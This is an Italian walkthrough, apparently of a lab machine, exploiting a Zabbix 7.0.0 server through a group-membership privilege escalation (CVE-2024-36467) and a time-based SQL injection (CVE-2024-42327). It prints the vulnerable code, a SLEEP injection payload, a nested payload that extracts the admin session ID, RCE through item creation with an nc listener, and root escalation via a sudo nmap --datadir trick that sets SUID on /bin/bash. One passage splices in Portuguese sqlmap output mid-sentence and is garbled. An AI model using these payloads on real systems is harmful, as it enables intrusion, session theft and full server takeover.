
analisi cve-2024-42327
bersaglio: 10.129.231.176
Informazioni: So che il mio bersaglio è un server zabbix. Ho ricevuto un account utente predefinito per accedere a zabbix: utente matthew password 96qzn0h2e1k3. Questo account ha un utente predefinito, senza gruppi o privilegi aggiuntivi.
Come di consueto, iniziamo con l'enumerazione, faremo una scansione delle porte usando nmap.

L'output di nmap ci mostra che la porta predefinita ssh e apache2 sono anch'esse sulla porta predefinita. Abbiamo anche le porte 10051 e 10050 che eseguono qualche servizio zabbix.
Accediamo a zabbix inserendo l'IP nell'URL del browser e sulla porta http predefinita, porta 80.

Questa è la schermata di accesso di zabbix, accederò con l'utente che ho ricevuto


Nel piè di pagina, ho trovato la versione di zabbix:

Usando il padre degli asini (Google), ho cercato se esisteva già qualche CVE per questa versione di zabbix

Dopo un bel po' di ricerca, ho visto che questa versione è vulnerabile al CVE-2024-42327 che riguarda uno sfruttamento di SQL injection per ottenere dati dal database e scalare privilegi, e al CVE-2024-36467 che permette di cambiare il ruolo utente in superutente abusando di controlli di accesso assenti.
https://nvd.nist.gov/vuln/detail/CVE-2024-36467
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
Nella documentazione di zabbix è spiegato come fare richieste HTTP per chiamare l'API.

https://www.zabbix.com/documentation/current/en/manual/api
Ho inviato la richiesta chiamando il metodo apiinfo.version che ci insegna nella documentazione

che ci ha restituito il seguente:
{"jsonrpc":"2.0","result":"7.0.0","id":1}
Per il test successivo ho cambiato alcuni parametri in questa richiesta per inviarla di nuovo.

In method, ho cambiato da apiinfo.version a user.login e aggiunto i parametri username e password. Anche questo l'ho visto nella documentazione di zabbix.

Ci ha restituito un token:
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}
Dopo ancora un po' di ricerca, ho deciso di andare nel repository di zabbix su github
https://github.com/zabbix/zabbix
Ho cercato su CUser e trovato un file CUser.php

Abbiamo trovato la funzione user.update:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
Non ho trovato alcuna verifica di autorizzazione, quindi ho deciso di cambiare la mia funzione in una funzione di superutente, sono tornato alla richiesta e ho apportato le modifiche al payload.

Mi ha restituito un errore con un messaggio di invalid params.
Dopo un'altra lunga analisi del codice, abbiamo trovato questa funzione:
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
Secondo questo snippet, non possiamo cambiare i nostri ruoli perché il nostro ruolo viene verificato estraendo i nostri dati dal token API e verificando nel database se siamo quell'utente. Ma analizzando il codice, vediamo che usrgrps non ha alcuna validazione e per questa mancanza di validazione, può essere abusato per aggiungerci a più gruppi contemporaneamente. Non c'è alcuna verifica per impedire a un utente di aggiungersi a gruppi a cui non dovrebbe avere accesso.
Proviamo a scalare privilegi per la mancanza di questa validazione, ho modificato il payload e inviato di nuovo la richiesta

userid 3 si riferisce all'id dell'utente matthew, usrgrps contiene una lista di ID di gruppo: 13 che è un gruppo interno e 7 che è il gruppo zabbix administrators. La nostra risposta dal server conferma il successo dell'operazione:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Ora possiamo estrarre i gruppi di utenti del nostro utente corrente. Modifichiamo la richiesta e inviamo di nuovo.

Verificando la risposta, vediamo che l'utente con ID 3 è nei gruppi di amministratori Interno e Zabbix.
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}
In uno scenario in cui un Gruppo di Host valido è stato assegnato al gruppo di amministratori di Zabbix, essi potranno sfruttare la creazione di item per innescare l'esecuzione remota di codice, che sarà affrontata nella prossima CVE.
Analizzando nuovamente il codice sorgente nella classe CUser, abbiamo esaminato la funzione user.get alla riga 68. La riga 108 contiene un controllo con il seguente codice:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
Da questo codice, se l'opzione editabile viene fornita nella richiesta all'API, invece di validare il gruppo utenti, il controllo convaliderà solo se l'ID utente corrente corrisponde all'utente corrente, ignorando così i permessi quando si usa la funzione user.get. Alla riga 234, viene fatta una chiamata a addRelatedObjects, che è la funzione vulnerabile soggetta a SQL injection. Analizzando la funzione addRelatedObject alla riga 2969, possiamo vedere che la maggior parte delle istruzioni SQL sembrano sicure, fino ad arrivare alla riga 3041.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
In questo blocco, se l'opzione selectRole viene specificata, viene effettuata una chiamata non sicura alla funzione DBSelect senza sanificare gli input dell'utente. Ciò risulta in iniezioni SQL basate sul tempo e Boolean Blind.
Per testare questo, abbiamo preso un payload da questo link e verificato se abbiamo un punto di iniezione riuscito nei parametri selectRole.

Abbiamo ottenuto un successo e il bersaglio dorme per 5 secondi.
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
utilizzando Charles Proxy abbiamo intercettato la richiesta e salvato in un file con la seguente richiesta:

Ora, usando SQLMap, abbiamo tentato di identificare possibili vulnerabilità ed estrarre dati dal database:

dopo un po' di tempo, abbiamo ottenuto il seguente risultato:
available databases [2]:
[*] information_schema
[*] zabbix
Secondo l'output, abbiamo ottenuto con successo i nomi del database sfruttando l'iniezione SQL basata sul tempo.
Ora proviamo la RCE (esecuzione di codice remoto)
Possiamo utilizzare agenti mal configurati per ottenere l'esecuzione remota di codice. Per farlo dall'iniezione SQL basata sul tempo, dobbiamo estrarre la tabella delle sessioni nel database per vedere se l'utente Admin è stato autenticato. Sfortunatamente, essendo un attacco basato sul tempo, potrebbe richiedere un po', quindi ho incluso uno script multithread che estrarrà la sessione dell'amministratore più velocemente per un uso successivo.
il payload è diventato così:

Questa è un'iniezione SQL annidata basata sul tempo, dove iniettiamo il nostro payload nel parametro name, aggiungendo AND per concatenare la condizione.
SELECT * FROM (SELECT(SLEEP(...)))BEEF
Usiamo una condizione SELECT esterna che racchiude la condizione SLEEP in una subquery etichettata come BEEF.
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))
La condizione SLEEP prende il valore TRUE_TIME di 1 secondo in questo script e recupera la sessionid di un account amministratore attivo che è stato autenticato sul sito o API. La condizione SELECT sopra recupera il primo risultato all'indice (ROW) 0 che è racchiuso in una condizione MID. Usiamo la condizione MID per estrarre il carattere in una posizione specifica all'interno della sessionid che viene incrementata e racchiusa in una condizione ORD. La condizione ORD converte il carattere estratto in valori ASCII per il confronto ed è racchiusa in una condizione IF. La condizione IF [17:26:03] [INFO] estendendo automaticamente intervalos para injeção de consulta UNION teste de técnica, pois há pelo menos outra técnica (potencial) encontrada [17:26:04] [INFO] verificando se o ponto de injeção no parâmetro POST (personalizado) '#1*' é um falso positivo O parâmetro POST (personalizado) '#1*' é vulnerável. Você quer continuar testando os outros (se houver)? [s/N] n sqlmap identificou os seguintes pontos de injeção com um total de 77 solicitações HTTP(s): bancos de dados disponíveis [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) verifica se il carattere estratto corrisponde al carattere ASCII previsto (ord(char)). Se la condizione è soddisfatta e la condizione SLEEP viene attivata, allora identifichiamo il carattere corretto e possiamo estrarre la sessionid di 32 caratteri.
Ho fatto uno script in Python e l'ho eseguito.


Dopo aver eseguito lo script, vediamo che abbiamo ottenuto con successo la sessione di amministratore in soli 30 secondi.

Usando il token API dell'utente Admin, possiamo procedere a creare un item e poi attivarlo tramite un task. Per prima cosa, dobbiamo creare l'item, ma dobbiamo ottenere gli ID host correnti insieme ai loro ID di interfaccia.

abbiamo avuto la risposta:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}
Ora possiamo creare un item con il seguente payload:

Prima di inviare il payload, abbiamo configurato un listener nc sulla porta 4448 e aspettato qualche secondo.

Ora è il momento di inviare il payload

Ha funzionato, il task è stato creato con il nostro payload malevolo e abbiamo ottenuto una RCE (esecuzione di codice remoto), ora abbiamo accesso al server.

Ora che abbiamo accesso al server, passiamo all'escalation dei privilegi, proviamo a ottenere accesso root al server.
Poiché siamo l'utente zabbix, verifichiamo se possiamo eseguire qualche demone (programma) con permessi sudo:

Vediamo che possiamo eseguire /usr/bin/nmap senza restrizioni. Dopo un po' di ricerca su internet, ho trovato il progetto GTFOBins. GTFOBins è un repository che elenca binari presenti su sistemi Unix/Linux che possono essere usati in modo creativo per escalation di privilegi, evasioni da ambienti ristretti (come chroot o container) ed esecuzione di comandi malevoli.

https://gtfobins.github.io/gtfobins/nmap/#sudo
Proviamo a usare l'escape sudo di gtfobins.

Sembra che Nmap sia protetto da uno script wrapper, un ulteriore strato di protezione implementato per limitare l'uso di opzioni potenzialmente sfruttabili in Nmap. Proviamo a leggere il file /usr/bin/nmap. Apriamolo usando l'editor di testo nano e analizziamo questo file.

Dopo molta ricerca, ho visto che tutti gli escape di GTFOBins sono inutili in questo scenario. Hanno implementato un wrapper per proteggere Nmap da metodi comuni di escalation dei privilegi. Sono rimasto senza opzioni e ho letto la libreria di nmap.
Dopo un bel po' di lettura ho trovato qualcosa di interessante, l'opzione --datadir.
https://nmap.org/book/data-files-replacing-data-files.html
--datadir <dirname>: Specify custom Nmap data file location
Questa opzione permette di specificare una directory dati dove script predefiniti e altri elementi essenziali di nmap sono memorizzati, il valore predefinito in questo caso è /usr/share/nmap. Vediamo i permessi di questo file:

Ricercando su questi file, ho visto che il file nse_main.lua è il file di script predefinito che può essere attivato con il parametro -sC, è il file principale di script del Nmap Scripting Engine (NSE). Contiene funzioni che vengono eseguite quando Nmap viene usato con l'opzione -sC (scansione con script predefiniti). Creando uno script malevolo con questo nome, è possibile far sì che Nmap lo esegua automaticamente. Per sfruttare questo, creiamo un nuovo file in /tmp/nse_main.lua con os.execute("chmod 4755 /bin/bash").
Ho creato il file nse_main.lua contenente al suo interno il comando os.execute("chmod 4755 /bin/bash").
4755: Imposta il SUID (Set User ID) sul binario /bin/bash. Ciò permette a qualsiasi utente che esegue /bin/bash di avere gli stessi privilegi del proprietario del file, che è root.


Quando scansioniamo localhost con -sC abilitato, impostiamo /bin/bash a SUID e generiamo una shell con l'UID effettivo dell'utente root.

--datadir=/tmp: Fa sì che Nmap cerchi i suoi file di configurazione e script nella directory /tmp. Questo include lo script malevolo nse_main.lua.
-sC: Attiva l'esecuzione di script predefiniti, incluso lo script malevolo che abbiamo appena creato.
localhost: Fa sì che Nmap esegua la scansione sul sistema stesso.
Lo script nse_main.lua viene eseguito da Nmap con permessi di root (perché il comando è stato eseguito con sudo)

Con il SUID attivato, possiamo eseguire: /bin/bash -p

-p: Preserva il bit SUID ed esegue bash con i privilegi del proprietario (root).

uid=114: Identità dell'utente zabbix. euid=0: Effettivamente operante come root.
Ora abbiamo ottenuto privilegi root.